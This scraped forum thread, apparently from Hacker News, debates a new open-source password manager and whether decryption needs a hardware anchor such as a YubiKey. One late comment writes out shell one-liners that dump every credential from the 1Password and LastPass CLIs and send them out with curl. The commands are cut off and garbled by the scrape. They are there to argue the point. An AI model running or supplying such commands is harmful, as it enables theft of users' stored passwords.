ive got my own pwd file using a short shell script in bashrc that uses nano, gpg and /dev/shm to keep things in memory (hopefully). works great, is minimalist and there are no hidden surprises.
Show HN: Sesame - a local-first, open-source password manager
41–50 of 82 posts
Re: Show HN: Sesame - a local-first, open-source password manager
#42So you decrypt -any- password on a system with malware, and malware gets -all- the passwords. Makes life super easy for an attacker. All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates all passwords in plain text to a pastebin somewhere. To prevent this, you need to encrypt each password to a key held in a yubikey, nitrokey, or similar with a touch policy.…
> That tiny shell script is the -minimum- security any password manager must have. So any device without touchid or a yubikey can't use a password manager without typing out your full master password every time you want to access any password?
Every modern device under the sun ships with a hardware security module of some kind which could, if nothing else, rate limit decryptions and ensure decryptions can only happen on that machine. There are so so many hardware anchors free for the taking.
The same hardware Microsoft, Google, and Apple use to verify you are running a "genuine" OS these days can also do general purpose encryption and decryption with rate limits and touch policies. Pick literally any of them. TPM, Passkeys, PIV, touchid, yubikeys, nitrokeys, the keycard to your last hotel room being touched on the hidden NFC reader most people do not know about under Dell touchpads. Use whichever one is the least shitty but not having a hardware anchor in a password manager is shipping a car without airbags.
Re: Show HN: Sesame - a local-first, open-source password manager
#43I don't see the support for passkeys listed anywhere?
Why needlessly lose quantum resistance by using a passkey over a password?
Re: Show HN: Sesame - a local-first, open-source password manager
#44Earlier quoted context omitted.
Isn't this a fundamental issue with all popular password managers? Your setup where each decrypt requires a physical action is superior of course (even if an attacker is still likely to get 2-3 of the most important secrets before you start to investigate why a login isn't working), I just mean that most people don't have this and it's not a particular flaw with OP's implementation right?
It is a negligent and blatant design flaw in all popular implementations, yes. Mooltipass and Password Store are the only two password managers to do the bare minimum. That is ridiculous. Anyone who corrects this, with a good UX solution, will win the password manager wars. It is so so so easy to do, so it is unthinkable only the CLI password manager written in bash bothers to do it. Ask an LLM to implement it for yo…
> Anyone who corrects this, with a good UX solution, will win the password manager wars.
In some technical sense, not necessarily in popularity.
Re: Show HN: Sesame - a local-first, open-source password manager
#45I loosely monitor new password managers that appear with surprising regularity on F-Droid. Most have security issues that can be trivially found. It's conceptually simple software (running strings through a function before writing it to disk): nice for learning a new language, but should everyone's practice implementation seriously land in stores? So I'm skeptical of any new ones appearing from scratch, praising all…
Can't have software bugs if you just write your passwords down on paper. /jk
Re: Show HN: Sesame - a local-first, open-source password manager
#46Earlier quoted context omitted.
Isn't this a fundamental issue with all popular password managers? Your setup where each decrypt requires a physical action is superior of course (even if an attacker is still likely to get 2-3 of the most important secrets before you start to investigate why a login isn't working), I just mean that most people don't have this and it's not a particular flaw with OP's implementation right?
It is a negligent and blatant design flaw in all popular implementations, yes. Mooltipass and Password Store are the only two password managers to do the bare minimum. That is ridiculous. Anyone who corrects this, with a good UX solution, will win the password manager wars. It is so so so easy to do, so it is unthinkable only the CLI password manager written in bash bothers to do it. Ask an LLM to implement it for yo…
You can’t have a good UX with this setup, which is why none of the major password mangers do it.
Re: Show HN: Sesame - a local-first, open-source password manager
#47Earlier quoted context omitted.
> That tiny shell script is the -minimum- security any password manager must have. So any device without touchid or a yubikey can't use a password manager without typing out your full master password every time you want to access any password?
Every modern device under the sun ships with a hardware security module of some kind which could, if nothing else, rate limit decryptions and ensure decryptions can only happen on that machine. There are so so many hardware anchors free for the taking. The same hardware Microsoft, Google, and Apple use to verify you are running a "genuine" OS these days can also do general purpose encryption and decryption with rate…
Apples SE doesn’t let you load a key, so you have to reencrypt your secrets for every Apple device you want them on… requiring hundreds of touches. The UX just sucks, which is why it’s not a thing.
Re: Show HN: Sesame - a local-first, open-source password manager
#48So you decrypt -any- password on a system with malware, and malware gets -all- the passwords. Makes life super easy for an attacker. All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates all passwords in plain text to a pastebin somewhere. To prevent this, you need to encrypt each password to a key held in a yubikey, nitrokey, or similar with a touch policy.…
It's hard to give a big enough :rolleyes: for this nihilistic bullshit being spouted in 2026. In fact I'm going to go further: I accuse you lrvick of active maliciousness and trying to aid illicit access and discourage people from improving their security, because you have no excuse not to know better. > All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates…
Sticky notes is probably absolutely fine security wise if you’re not in an office/shared space.
Re: Show HN: Sesame - a local-first, open-source password manager
#49This sounds an awful lot like PasswordSafe[0] in a different dress. Does it provide any features that set it apart?
Re: Show HN: Sesame - a local-first, open-source password manager
#50So you decrypt -any- password on a system with malware, and malware gets -all- the passwords. Makes life super easy for an attacker. All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates all passwords in plain text to a pastebin somewhere. To prevent this, you need to encrypt each password to a key held in a yubikey, nitrokey, or similar with a touch policy.…
It's hard to give a big enough :rolleyes: for this nihilistic bullshit being spouted in 2026. In fact I'm going to go further: I accuse you lrvick of active maliciousness and trying to aid illicit access and discourage people from improving their security, because you have no excuse not to know better. > All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates…
Who needs root? You seem to be under the impression the status quo password managers are reasonably secure for anyone, technical or otherwise.
Exfiltrate all plaintext credentials from 1password:
op list items \
| jq -r '.[].uuid' \
| xargs -n1 bash -c 'op get item "$1"' -- \
| curl -F 'p=/dev/null 2>&1
lpass ls \
| grep -oP '(?/dev/null 2>&1
Super easy to avoid with minimal change to user experience, and yet no one did because "no one else does".
Except for Mooltipass and Password Store, which unfortunately no one has heard of. It is the popular options with billions of dollars not doing the basics the niche open source ones do that is so unforgivable.
I just wish to not see others repeating those mistakes and putting users at increased risk for no reason. I know someone personally who had their savings account wiped out because malware dumped their lastpass database. A malicious browser plugin to sniff the master password is all it takes without a hardware anchor.